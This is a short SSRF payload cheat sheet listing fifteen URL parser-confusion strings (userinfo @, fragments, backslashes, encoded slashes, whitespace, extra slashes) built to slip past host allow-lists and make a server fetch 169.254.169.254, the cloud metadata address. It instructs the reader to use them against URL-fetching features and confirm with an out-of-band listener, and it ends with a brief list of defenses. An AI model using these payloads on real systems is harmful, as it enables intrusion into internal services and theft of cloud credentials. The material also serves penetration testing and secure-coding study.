SSRF URL Parser Confusion Payloads
Allow-list bypass SSRF payloads using @ userinfo, # fragments, backslashes, extra slashes, tabs and Unicode — exploiting the gap between the validator's URL parser and the HTTP client's.
Allow-lists are beaten by making the validator and the HTTP client disagree about which host a URL points to. The classic is userinfo: a validator reads allowed.example.com before the @, the client connects to the host after it.
Use these against a feature that validates a URL string and then fetches the raw string with a different library. They apply whenever an allow-list or startsWith/regex host check guards the fetch.
Below, the trusted host is allowed.example.com and the real target is 169.254.169.254 — swap in the host the target actually trusts. Confirm with an out-of-band listener which host the fetch really hit.
Parser-confusion payloads
allowed.example.com = trusted host · 169.254.169.254 = where the request should land.
http://allowed.example.com@169.254.169.254/Userinfo trick — everything before @ is credentials, real host is after
http://allowed.example.com:80@169.254.169.254/Userinfo with password segment
http://169.254.169.254@allowed.example.com/Reversed — works against parsers that take the FIRST host
http://169.254.169.254#@allowed.example.com/Fragment cuts the string for lenient parsers
http://169.254.169.254%23@allowed.example.com/Encoded '#' (parser desync)
http://169.254.169.254?@allowed.example.com/Query separator confusion
http://allowed.example.com.169.254.169.254/Allowed host as a left-label (if suffix check)
http://169.254.169.254.allowed.example.com/Allowed host as a suffix (if prefix/contains check)
http://169.254.169.254\@allowed.example.com/Backslash before @ (RFC vs browser host disagreement)
http://allowed.example.com\@169.254.169.254/Backslash host separator
http://allowed.example.com%2f%2f169.254.169.254/Encoded '//' path/host desync
http://allowed.example.com @169.254.169.254/Whitespace before @ (some parsers strip, some don't)
http://169.254.169.254 .allowed.example.com/Tab injection inside authority
http:////169.254.169.254/Extra slashes — collapses differently per parser
http://allowed.example.com@169.254.169.254@allowed.example.com/Double-@ ambiguity
Defense
- Validate on the parsed host from a single, strict parser — then fetch using that same parsed+pinned IP, never the raw string.
- Anchor host checks (exact match or verified suffix with a boundary), never startsWith or unanchored regex.
- Disable redirect following, or re-validate every hop including the final resolved IP.
- Reject credentials in URLs (anything before @) for server-side fetches.